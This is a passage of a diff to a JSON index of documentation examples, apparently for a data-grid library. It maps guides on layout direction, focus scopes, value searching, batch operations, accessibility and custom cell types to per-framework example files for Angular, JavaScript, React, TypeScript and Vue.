"guides/internationalization/layout-direction/layout-direction.md", + "guideTitle": "Layout direction", + "exampleId": "example5", + "exampleTitle": "Set the horizontal text alignment", + "docPermalink": "/layout-direction", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/internationalization/layout-direction/react/example5.tsx", + "file": "guides__internationalization__layout-direction__react__example5.tsx.json", + "breadcrumb": [ + "Internationalization", + "Layout direction" + ], + "guide": "guides/internationalization/layout-direction/layout-direction.md", + "guideTitle": "Layout direction", + "exampleId": "example5", + "exampleTitle": "Set the horizontal text alignment", + "docPermalink": "/layout-direction", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/internationalization/layout-direction/javascript/example5.ts", + "file": "guides__internationalization__layout-direction__javascript__example5.ts.json", + "breadcrumb": [ + "Internationalization", + "Layout direction" + ], + "guide": "guides/internationalization/layout-direction/layout-direction.md", + "guideTitle": "Layout direction", + "exampleId": "example5", + "exampleTitle": "Set the horizontal text alignment", + "docPermalink": "/layout-direction", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/internationalization/layout-direction/vue/example5.vue", + "file": "guides__internationalization__layout-direction__vue__example5.vue.json", + "breadcrumb": [ + "Internationalization", + "Layout direction" + ], + "guide": "guides/internationalization/layout-direction/layout-direction.md", + "guideTitle": "Layout direction", + "exampleId": "example5", + "exampleTitle": "Set the horizontal text alignment", + "docPermalink": "/layout-direction", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/navigation/focus-scopes/angular/example1.ts", + "file": "guides__navigation__focus-scopes__angular__example1.ts.json", + "breadcrumb": [ + "Navigation", + "Focus scopes" + ], + "guide": "guides/navigation/focus-scopes/focus-scopes.md", + "guideTitle": "Focus scopes", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/focus-scopes", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/navigation/focus-scopes/javascript/example1.js", + "file": "guides__navigation__focus-scopes__javascript__example1.js.json", + "breadcrumb": [ + "Navigation", + "Focus scopes" + ], + "guide": "guides/navigation/focus-scopes/focus-scopes.md", + "guideTitle": "Focus scopes", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/focus-scopes", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/navigation/focus-scopes/react/example1.tsx", + "file": "guides__navigation__focus-scopes__react__example1.tsx.json", + "breadcrumb": [ + "Navigation", + "Focus scopes" + ], + "guide": "guides/navigation/focus-scopes/focus-scopes.md", + "guideTitle": "Focus scopes", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/focus-scopes", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/navigation/focus-scopes/javascript/example1.ts", + "file": "guides__navigation__focus-scopes__javascript__example1.ts.json", + "breadcrumb": [ + "Navigation", + "Focus scopes" + ], + "guide": "guides/navigation/focus-scopes/focus-scopes.md", + "guideTitle": "Focus scopes", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/focus-scopes", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/navigation/focus-scopes/vue/example1.vue", + "file": "guides__navigation__focus-scopes__vue__example1.vue.json", + "breadcrumb": [ + "Navigation", + "Focus scopes" + ], + "guide": "guides/navigation/focus-scopes/focus-scopes.md", + "guideTitle": "Focus scopes", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/focus-scopes", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/navigation/focus-scopes/angular/example2.ts", + "file": "guides__navigation__focus-scopes__angular__example2.ts.json", + "breadcrumb": [ + "Navigation", + "Focus scopes" + ], + "guide": "guides/navigation/focus-scopes/focus-scopes.md", + "guideTitle": "Focus scopes", + "exampleId": "example2", + "exampleTitle": "Modal scopes", + "docPermalink": "/focus-scopes", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/navigation/focus-scopes/javascript/example2.js", + "file": "guides__navigation__focus-scopes__javascript__example2.js.json", + "breadcrumb": [ + "Navigation", + "Focus scopes" + ], + "guide": "guides/navigation/focus-scopes/focus-scopes.md", + "guideTitle": "Focus scopes", + "exampleId": "example2", + "exampleTitle": "Modal scopes", + "docPermalink": "/focus-scopes", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/navigation/focus-scopes/react/example2.tsx", + "file": "guides__navigation__focus-scopes__react__example2.tsx.json", + "breadcrumb": [ + "Navigation", + "Focus scopes" + ], + "guide": "guides/navigation/focus-scopes/focus-scopes.md", + "guideTitle": "Focus scopes", + "exampleId": "example2", + "exampleTitle": "Modal scopes", + "docPermalink": "/focus-scopes", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/navigation/focus-scopes/javascript/example2.ts", + "file": "guides__navigation__focus-scopes__javascript__example2.ts.json", + "breadcrumb": [ + "Navigation", + "Focus scopes" + ], + "guide": "guides/navigation/focus-scopes/focus-scopes.md", + "guideTitle": "Focus scopes", + "exampleId": "example2", + "exampleTitle": "Modal scopes", + "docPermalink": "/focus-scopes", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/navigation/focus-scopes/vue/example2.vue", + "file": "guides__navigation__focus-scopes__vue__example2.vue.json", + "breadcrumb": [ + "Navigation", + "Focus scopes" + ], + "guide": "guides/navigation/focus-scopes/focus-scopes.md", + "guideTitle": "Focus scopes", + "exampleId": "example2", + "exampleTitle": "Modal scopes", + "docPermalink": "/focus-scopes", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/navigation/searching-values/angular/example1.ts", + "file": "guides__navigation__searching-values__angular__example1.ts.json", + "breadcrumb": [ + "Navigation", + "Searching values" + ], + "guide": "guides/navigation/searching-values/searching-values.md", + "guideTitle": "Searching values", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/searching-values", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/navigation/searching-values/javascript/example1.js", + "file": "guides__navigation__searching-values__javascript__example1.js.json", + "breadcrumb": [ + "Navigation", + "Searching values" + ], + "guide": "guides/navigation/searching-values/searching-values.md", + "guideTitle": "Searching values", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/searching-values", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/navigation/searching-values/react/example1.tsx", + "file": "guides__navigation__searching-values__react__example1.tsx.json", + "breadcrumb": [ + "Navigation", + "Searching values" + ], + "guide": "guides/navigation/searching-values/searching-values.md", + "guideTitle": "Searching values", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/searching-values", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/navigation/searching-values/javascript/example1.ts", + "file": "guides__navigation__searching-values__javascript__example1.ts.json", + "breadcrumb": [ + "Navigation", + "Searching values" + ], + "guide": "guides/navigation/searching-values/searching-values.md", + "guideTitle": "Searching values", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/searching-values", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/navigation/searching-values/vue/example1.vue", + "file": "guides__navigation__searching-values__vue__example1.vue.json", + "breadcrumb": [ + "Navigation", + "Searching values" + ], + "guide": "guides/navigation/searching-values/searching-values.md", + "guideTitle": "Searching values", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/searching-values", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/navigation/searching-values/angular/example2.ts", + "file": "guides__navigation__searching-values__angular__example2.ts.json", + "breadcrumb": [ + "Navigation", + "Searching values" + ], + "guide": "guides/navigation/searching-values/searching-values.md", + "guideTitle": "Searching values", + "exampleId": "example2", + "exampleTitle": "Custom search result class", + "docPermalink": "/searching-values", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/navigation/searching-values/javascript/example2.js", + "file": "guides__navigation__searching-values__javascript__example2.js.json", + "breadcrumb": [ + "Navigation", + "Searching values" + ], + "guide": "guides/navigation/searching-values/searching-values.md", + "guideTitle": "Searching values", + "exampleId": "example2", + "exampleTitle": "Custom search result class", + "docPermalink": "/searching-values", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/navigation/searching-values/react/example2.tsx", + "file": "guides__navigation__searching-values__react__example2.tsx.json", + "breadcrumb": [ + "Navigation", + "Searching values" + ], + "guide": "guides/navigation/searching-values/searching-values.md", + "guideTitle": "Searching values", + "exampleId": "example2", + "exampleTitle": "Custom search result class", + "docPermalink": "/searching-values", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/navigation/searching-values/javascript/example2.ts", + "file": "guides__navigation__searching-values__javascript__example2.ts.json", + "breadcrumb": [ + "Navigation", + "Searching values" + ], + "guide": "guides/navigation/searching-values/searching-values.md", + "guideTitle": "Searching values", + "exampleId": "example2", + "exampleTitle": "Custom search result class", + "docPermalink": "/searching-values", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/navigation/searching-values/vue/example2.vue", + "file": "guides__navigation__searching-values__vue__example2.vue.json", + "breadcrumb": [ + "Navigation", + "Searching values" + ], + "guide": "guides/navigation/searching-values/searching-values.md", + "guideTitle": "Searching values", + "exampleId": "example2", + "exampleTitle": "Custom search result class", + "docPermalink": "/searching-values", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/navigation/searching-values/angular/example3.ts", + "file": "guides__navigation__searching-values__angular__example3.ts.json", + "breadcrumb": [ + "Navigation", + "Searching values" + ], + "guide": "guides/navigation/searching-values/searching-values.md", + "guideTitle": "Searching values", + "exampleId": "example3", + "exampleTitle": "Custom query method", + "docPermalink": "/searching-values", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/navigation/searching-values/javascript/example3.js", + "file": "guides__navigation__searching-values__javascript__example3.js.json", + "breadcrumb": [ + "Navigation", + "Searching values" + ], + "guide": "guides/navigation/searching-values/searching-values.md", + "guideTitle": "Searching values", + "exampleId": "example3", + "exampleTitle": "Custom query method", + "docPermalink": "/searching-values", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/navigation/searching-values/react/example3.tsx", + "file": "guides__navigation__searching-values__react__example3.tsx.json", + "breadcrumb": [ + "Navigation", + "Searching values" + ], + "guide": "guides/navigation/searching-values/searching-values.md", + "guideTitle": "Searching values", + "exampleId": "example3", + "exampleTitle": "Custom query method", + "docPermalink": "/searching-values", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/navigation/searching-values/javascript/example3.ts", + "file": "guides__navigation__searching-values__javascript__example3.ts.json", + "breadcrumb": [ + "Navigation", + "Searching values" + ], + "guide": "guides/navigation/searching-values/searching-values.md", + "guideTitle": "Searching values", + "exampleId": "example3", + "exampleTitle": "Custom query method", + "docPermalink": "/searching-values", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/navigation/searching-values/vue/example3.vue", + "file": "guides__navigation__searching-values__vue__example3.vue.json", + "breadcrumb": [ + "Navigation", + "Searching values" + ], + "guide": "guides/navigation/searching-values/searching-values.md", + "guideTitle": "Searching values", + "exampleId": "example3", + "exampleTitle": "Custom query method", + "docPermalink": "/searching-values", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/navigation/searching-values/angular/example4.ts", + "file": "guides__navigation__searching-values__angular__example4.ts.json", + "breadcrumb": [ + "Navigation", + "Searching values" + ], + "guide": "guides/navigation/searching-values/searching-values.md", + "guideTitle": "Searching values", + "exampleId": "example4", + "exampleTitle": "Custom callback", + "docPermalink": "/searching-values", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/navigation/searching-values/javascript/example4.js", + "file": "guides__navigation__searching-values__javascript__example4.js.json", + "breadcrumb": [ + "Navigation", + "Searching values" + ], + "guide": "guides/navigation/searching-values/searching-values.md", + "guideTitle": "Searching values", + "exampleId": "example4", + "exampleTitle": "Custom callback", + "docPermalink": "/searching-values", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/navigation/searching-values/react/example4.tsx", + "file": "guides__navigation__searching-values__react__example4.tsx.json", + "breadcrumb": [ + "Navigation", + "Searching values" + ], + "guide": "guides/navigation/searching-values/searching-values.md", + "guideTitle": "Searching values", + "exampleId": "example4", + "exampleTitle": "Custom callback", + "docPermalink": "/searching-values", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/navigation/searching-values/javascript/example4.ts", + "file": "guides__navigation__searching-values__javascript__example4.ts.json", + "breadcrumb": [ + "Navigation", + "Searching values" + ], + "guide": "guides/navigation/searching-values/searching-values.md", + "guideTitle": "Searching values", + "exampleId": "example4", + "exampleTitle": "Custom callback", + "docPermalink": "/searching-values", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/navigation/searching-values/vue/example4.vue", + "file": "guides__navigation__searching-values__vue__example4.vue.json", + "breadcrumb": [ + "Navigation", + "Searching values" + ], + "guide": "guides/navigation/searching-values/searching-values.md", + "guideTitle": "Searching values", + "exampleId": "example4", + "exampleTitle": "Custom callback", + "docPermalink": "/searching-values", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "guides/optimization/batch-operations/angular/example1.ts", + "file": "guides__optimization__batch-operations__angular__example1.ts.json", + "breadcrumb": [ + "Optimization", + "Batch operations" + ], + "guide": "guides/optimization/batch-operations/batch-operations.md", + "guideTitle": "Batch operations", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/batch-operations", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "guides/optimization/batch-operations/javascript/example1.js", + "file": "guides__optimization__batch-operations__javascript__example1.js.json", + "breadcrumb": [ + "Optimization", + "Batch operations" + ], + "guide": "guides/optimization/batch-operations/batch-operations.md", + "guideTitle": "Batch operations", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/batch-operations", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/optimization/batch-operations/react/example1.tsx", + "file": "guides__optimization__batch-operations__react__example1.tsx.json", + "breadcrumb": [ + "Optimization", + "Batch operations" + ], + "guide": "guides/optimization/batch-operations/batch-operations.md", + "guideTitle": "Batch operations", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/batch-operations", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "guides/optimization/batch-operations/javascript/example1.ts", + "file": "guides__optimization__batch-operations__javascript__example1.ts.json", + "breadcrumb": [ + "Optimization", + "Batch operations" + ], + "guide": "guides/optimization/batch-operations/batch-operations.md", + "guideTitle": "Batch operations", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/batch-operations", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "guides/optimization/batch-operations/vue/example1.vue", + "file": "guides__optimization__batch-operations__vue__example1.vue.json", + "breadcrumb": [ + "Optimization", + "Batch operations" + ], + "guide": "guides/optimization/batch-operations/batch-operations.md", + "guideTitle": "Batch operations", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/batch-operations", + "framework": "vue", + "displayName": "Vue 3" + }, + { + "bucket": "18.0", + "docsPath": "recipes/accessibility/aria-grid/angular/example1.ts", + "file": "recipes__accessibility__aria-grid__angular__example1.ts.json", + "breadcrumb": [ + "Recipes", + "Accessibility", + "ARIA-friendly grid" + ], + "guide": "recipes/accessibility/aria-grid/aria-grid.md", + "guideTitle": "ARIA-friendly grid", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/accessibility/aria-grid", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "recipes/accessibility/aria-grid/javascript/example1.js", + "file": "recipes__accessibility__aria-grid__javascript__example1.js.json", + "breadcrumb": [ + "Recipes", + "Accessibility", + "ARIA-friendly grid" + ], + "guide": "recipes/accessibility/aria-grid/aria-grid.md", + "guideTitle": "ARIA-friendly grid", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/accessibility/aria-grid", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "recipes/accessibility/aria-grid/react/example1.tsx", + "file": "recipes__accessibility__aria-grid__react__example1.tsx.json", + "breadcrumb": [ + "Recipes", + "Accessibility", + "ARIA-friendly grid" + ], + "guide": "recipes/accessibility/aria-grid/aria-grid.md", + "guideTitle": "ARIA-friendly grid", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/accessibility/aria-grid", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "recipes/accessibility/keyboard-shortcuts/angular/example1.ts", + "file": "recipes__accessibility__keyboard-shortcuts__angular__example1.ts.json", + "breadcrumb": [ + "Recipes", + "Accessibility", + "Custom keyboard shortcuts" + ], + "guide": "recipes/accessibility/keyboard-shortcuts/keyboard-shortcuts.md", + "guideTitle": "Custom keyboard shortcuts", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/accessibility/keyboard-shortcuts", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "recipes/accessibility/keyboard-shortcuts/javascript/example1.js", + "file": "recipes__accessibility__keyboard-shortcuts__javascript__example1.js.json", + "breadcrumb": [ + "Recipes", + "Accessibility", + "Custom keyboard shortcuts" + ], + "guide": "recipes/accessibility/keyboard-shortcuts/keyboard-shortcuts.md", + "guideTitle": "Custom keyboard shortcuts", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/accessibility/keyboard-shortcuts", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "recipes/accessibility/keyboard-shortcuts/react/example1.tsx", + "file": "recipes__accessibility__keyboard-shortcuts__react__example1.tsx.json", + "breadcrumb": [ + "Recipes", + "Accessibility", + "Custom keyboard shortcuts" + ], + "guide": "recipes/accessibility/keyboard-shortcuts/keyboard-shortcuts.md", + "guideTitle": "Custom keyboard shortcuts", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/accessibility/keyboard-shortcuts", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "recipes/cell-types/color-picker/angular/example1.ts", + "file": "recipes__cell-types__color-picker__angular__example1.ts.json", + "breadcrumb": [ + "Recipes", + "Cell Types", + "Color picker" + ], + "guide": "recipes/cell-types/color-picker/color-picker.md", + "guideTitle": "Color picker", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/cell-types/color-picker", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "recipes/cell-types/guide-color-picker-angular/angular/example1.ts", + "file": "recipes__cell-types__guide-color-picker-angular__angular__example1.ts.json", + "breadcrumb": [ + "Recipes", + "Cell Types", + "Color picker" + ], + "guide": "recipes/cell-types/guide-color-picker-angular/guide-color-picker.md", + "guideTitle": "Color picker", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/cell-types/color-picker-angular", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "recipes/cell-types/color-picker/javascript/example1.js", + "file": "recipes__cell-types__color-picker__javascript__example1.js.json", + "breadcrumb": [ + "Recipes", + "Cell Types", + "Color picker" + ], + "guide": "recipes/cell-types/color-picker/color-picker.md", + "guideTitle": "Color picker", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/cell-types/color-picker", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "recipes/cell-types/color-picker/react/example1.tsx", + "file": "recipes__cell-types__color-picker__react__example1.tsx.json", + "breadcrumb": [ + "Recipes", + "Cell Types", + "Color picker" + ], + "guide": "recipes/cell-types/color-picker/color-picker.md", + "guideTitle": "Color picker", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/cell-types/color-picker", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "recipes/cell-types/color-picker/javascript/example1.ts", + "file": "recipes__cell-types__color-picker__javascript__example1.ts.json", + "breadcrumb": [ + "Recipes", + "Cell Types", + "Color picker" + ], + "guide": "recipes/cell-types/color-picker/color-picker.md", + "guideTitle": "Color picker", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/cell-types/color-picker", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "recipes/cell-types/colorful-picker/react/example1.tsx", + "file": "recipes__cell-types__colorful-picker__react__example1.tsx.json", + "breadcrumb": [ + "Recipes", + "Cell Types", + "Colorful Picker" + ], + "guide": "recipes/cell-types/colorful-picker/colorful-picker.md", + "guideTitle": "Colorful Picker", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/cell-types/colorful-picker", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "recipes/cell-types/guide-datepicker-angular/angular/example1.ts", + "file": "recipes__cell-types__guide-datepicker-angular__angular__example1.ts.json", + "breadcrumb": [ + "Recipes", + "Cell Types", + "Date picker" + ], + "guide": "recipes/cell-types/guide-datepicker-angular/guide-datepicker.md", + "guideTitle": "Date picker", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/cell-types/datepicker", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "recipes/cell-types/guide-feedback-angular/angular/example1.ts", + "file": "recipes__cell-types__guide-feedback-angular__angular__example1.ts.json", + "breadcrumb": [ + "Recipes", + "Cell Types", + "Feedback Editor" + ], + "guide": "recipes/cell-types/guide-feedback-angular/guide-feedback.md", + "guideTitle": "Feedback Editor", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/cell-types/feedback-angular", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "recipes/cell-types/feedback/angular/example1.ts", + "file": "recipes__cell-types__feedback__angular__example1.ts.json", + "breadcrumb": [ + "Recipes", + "Cell Types", + "Feedback" + ], + "guide": "recipes/cell-types/feedback/feedback.md", + "guideTitle": "Feedback", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/cell-types/feedback", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "recipes/cell-types/feedback/javascript/example1.js", + "file": "recipes__cell-types__feedback__javascript__example1.js.json", + "breadcrumb": [ + "Recipes", + "Cell Types", + "Feedback" + ], + "guide": "recipes/cell-types/feedback/feedback.md", + "guideTitle": "Feedback", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/cell-types/feedback", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "recipes/cell-types/feedback/react/example1.tsx", + "file": "recipes__cell-types__feedback__react__example1.tsx.json", + "breadcrumb": [ + "Recipes", + "Cell Types", + "Feedback" + ], + "guide": "recipes/cell-types/feedback/feedback.md", + "guideTitle": "Feedback", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/cell-types/feedback", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "recipes/cell-types/feedback-react/react/example1.tsx", + "file": "recipes__cell-types__feedback-react__react__example1.tsx.json", + "breadcrumb": [ + "Recipes", + "Cell Types", + "Feedback" + ], + "guide": "recipes/cell-types/feedback-react/feedback-react.md", + "guideTitle": "Feedback", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/cell-types/feedback-react", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "recipes/cell-types/feedback/javascript/example1.ts", + "file": "recipes__cell-types__feedback__javascript__example1.ts.json", + "breadcrumb": [ + "Recipes", + "Cell Types", + "Feedback" + ], + "guide": "recipes/cell-types/feedback/feedback.md", + "guideTitle": "Feedback", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/cell-types/feedback", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "recipes/cell-types/flatpickr/angular/example1.ts", + "file": "recipes__cell-types__flatpickr__angular__example1.ts.json", + "breadcrumb": [ + "Recipes", + "Cell Types", + "Flatpickr" + ], + "guide": "recipes/cell-types/flatpickr/flatpickr.md", + "guideTitle": "Flatpickr", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/cell-types/flatpickr", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "recipes/cell-types/flatpickr/javascript/example1.js", + "file": "recipes__cell-types__flatpickr__javascript__example1.js.json", + "breadcrumb": [ + "Recipes", + "Cell Types", + "Flatpickr" + ], + "guide": "recipes/cell-types/flatpickr/flatpickr.md", + "guideTitle": "Flatpickr", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/cell-types/flatpickr", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "recipes/cell-types/flatpickr/react/example1.tsx", + "file": "recipes__cell-types__flatpickr__react__example1.tsx.json", + "breadcrumb": [ + "Recipes", + "Cell Types", + "Flatpickr" + ], + "guide": "recipes/cell-types/flatpickr/flatpickr.md", + "guideTitle": "Flatpickr", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/cell-types/flatpickr", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "recipes/cell-types/flatpickr/javascript/example1.ts", + "file": "recipes__cell-types__flatpickr__javascript__example1.ts.json", + "breadcrumb": [ + "Recipes", + "Cell Types", + "Flatpickr" + ], + "guide": "recipes/cell-types/flatpickr/flatpickr.md", + "guideTitle": "Flatpickr", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/cell-types/flatpickr", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "recipes/cell-types/moment-date/angular/example1.ts", + "file": "recipes__cell-types__moment-date__angular__example1.ts.json", + "breadcrumb": [ + "Recipes", + "Cell Types", + "Moment.js-based date" + ], + "guide": "recipes/cell-types/moment-date/moment-date.md", + "guideTitle": "Moment.js-based date", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/cell-types/moment-date", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "recipes/cell-types/moment-date/javascript/example1.js", + "file": "recipes__cell-types__moment-date__javascript__example1.js.json", + "breadcrumb": [ + "Recipes", + "Cell Types", + "Moment.js-based date" + ], + "guide": "recipes/cell-types/moment-date/moment-date.md", + "guideTitle": "Moment.js-based date", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/cell-types/moment-date", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + "docsPath": "recipes/cell-types/moment-date/react/example1.tsx", + "file": "recipes__cell-types__moment-date__react__example1.tsx.json", + "breadcrumb": [ + "Recipes", + "Cell Types", + "Moment.js-based date" + ], + "guide": "recipes/cell-types/moment-date/moment-date.md", + "guideTitle": "Moment.js-based date", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/cell-types/moment-date", + "framework": "react", + "displayName": "React (TS)" + }, + { + "bucket": "18.0", + "docsPath": "recipes/cell-types/moment-date/javascript/example1.ts", + "file": "recipes__cell-types__moment-date__javascript__example1.ts.json", + "breadcrumb": [ + "Recipes", + "Cell Types", + "Moment.js-based date" + ], + "guide": "recipes/cell-types/moment-date/moment-date.md", + "guideTitle": "Moment.js-based date", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/cell-types/moment-date", + "framework": "typescript", + "displayName": "TypeScript" + }, + { + "bucket": "18.0", + "docsPath": "recipes/cell-types/moment-time/angular/example1.ts", + "file": "recipes__cell-types__moment-time__angular__example1.ts.json", + "breadcrumb": [ + "Recipes", + "Cell Types", + "Moment.js-based time" + ], + "guide": "recipes/cell-types/moment-time/moment-time.md", + "guideTitle": "Moment.js-based time", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/cell-types/moment-time", + "framework": "angular", + "displayName": "Angular" + }, + { + "bucket": "18.0", + "docsPath": "recipes/cell-types/moment-time/javascript/example1.js", + "file": "recipes__cell-types__moment-time__javascript__example1.js.json", + "breadcrumb": [ + "Recipes", + "Cell Types", + "Moment.js-based time" + ], + "guide": "recipes/cell-types/moment-time/moment-time.md", + "guideTitle": "Moment.js-based time", + "exampleId": "example1", + "exampleTitle": "Standard example", + "docPermalink": "/recipes/cell-types/moment-time", + "framework": "javascript", + "displayName": "JavaScript" + }, + { + "bucket": "18.0", + 